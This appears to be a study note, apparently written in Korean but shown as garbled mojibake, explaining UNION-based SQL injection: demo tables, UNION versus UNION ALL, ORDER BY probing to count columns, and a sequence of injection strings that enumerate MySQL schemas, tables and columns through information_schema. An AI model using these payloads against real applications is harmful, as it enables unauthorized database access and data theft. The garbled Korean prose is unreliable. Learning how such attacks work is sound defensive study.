UNION SQL INJECTION ๊ณต๊ฒฉ
์ฌ์ฉ์ ์
๋ ฅ๊ฐ // SQL ์ฟผ๋ฆฌ๋ฅผ ๊ณต๊ฒฉ
UNION // UNION ALL
ex)
CREATE DATABASE test;
USE test
CREATE TABLE user1 (idx int, id varchar(10));
INSERT INTO user1 VALUES (1,'admin');
INSERT INTO user1 VALUES (2,'Kim');
INSERT INTO user1 VALUES (3,'Park');
CREATE TABLE user2 (idx int,id varchar(10));
INSERT INTO user2 VALUES (1,'admin');
INSERT INTO user2 VALUES (2,'Lee');
INSERT INTO user2 VALUES (3,'Choi');
UNION : ์๋์ผ๋ก ์ค๋ณต์ ์ ๊ฑฐ์ํค๋ ์ญํ
UNION ALL : ์ค๋ณต ์ ๊ฑฐ ์์ด ์ ๋ถ ํฉ์ณ์ ์ถ๋ ฅ
1. ๋์ฉ๋ ํ์
์ ๋ฐ์ดํฐ ํ์
์ ์ค๋ณต์ ๊ฑฐ์ ์ปฌ๋ผ ์ ๋ ฌ์ด ๋ถ๊ฐ๋ฅ ํ๋ค
2. ๋์ฉ๋ ํ์
์ ๋ฐ์ดํฐ ํ์
์ ์ ๋ ฌ์ด ๋ถ๊ฐ๋ฅํ๋ค > ๋จ, MySQL์ ์๊ดํ์ง ์๋๋ค.
UNION ๊ณต๊ฒฉ์ ํ๊ธฐ ์ํด ํ์ํ ์ฒซ๋ฒ์งธ ์ ๋ณด : ์ปฌ๋ผ์ ๊ฐ์
UNION ๊ณต๊ฒฉ์ ํ๊ธฐ ์ํ ๋๋ฒ์งธ ์ ๋ณด : ๋์ฉ๋ ๋ฐ์ดํฐ ํ์
์ ์ ๋ฌด
ORDER BY 1 : ์ฒซ๋ฒ์งธ ์ปฌ๋ผ์์ ์ค๋ฆ์ฐจ์์ผ๋ก ์ ๋ ฌํ์์ค
ORDER BY 2 : ๋๋ฒ์งธ ์ปฌ๋ผ์์ ์ค๋ฆ์ฐจ์์ผ๋ก ์ ๋ ฌํ์์ค
ORDER BY 1000 : ์ฒ๋ฒ์งธ ์ปฌ๋ผ์์ ์ค๋ฆ์ฐจ์์ผ๋ก ์ ๋ ฌํ์์ค
ORDER BY 1 : (O) ์ฒซ๋ฒ์งธ ์ปฌ๋ผ์ด ์กด์ฌํ๋ค
ORDER BY 2 : (O) ๋๋ฒ์งธ ์ปฌ๋ผ์ด ์กด์ฌํ๋ค
...
ORDER BY 5 : (ERROR) ๋ค์ฏ๋ฒ์งธ ์ปฌ๋ผ์ด ์กด์ฌํ์ง์๋๋ค ?
> ๋์ฉ๋ ํ์
์ ๋ฐ์ดํฐ ํ์
์ด๋ผ ์ ๋ ฌ์ด ๋ถ๊ฐ๋ฅ์ผ ์๋ ์๋ค.
๊ทธ๋ฌ๋ฏ๋ก ORDER BY 6 : (O) ์ด ๋ ์๋ ์์ผ๋๊น ์ต์ 3๊ฐ๋ ๋ ํ์ธํด๋ด์ผํจ
SELECT * FROM table WHERE TITLE='[์ฌ์ฉ์ ์
๋ ฅ ๊ฐ]'
' and 1=2 UNION SELECT null,null,null,null,null,null,null #
' and 1=2 UNION SELECT '1','2','null','4','null','null','7' #
' and 1=2 UNION SELECT schema_name,'2',null,'4',null,null,'7' from information_schema.schemata #
' and 1=2 UNION SELECT table_name,'2',null,'4',null,null,'7' from information_schema.tables #
' and 1=2 UNION SELECT column_name,'2',null,'4',null,null,'7' from information_schema.columns WHERE table_name='character_sets' #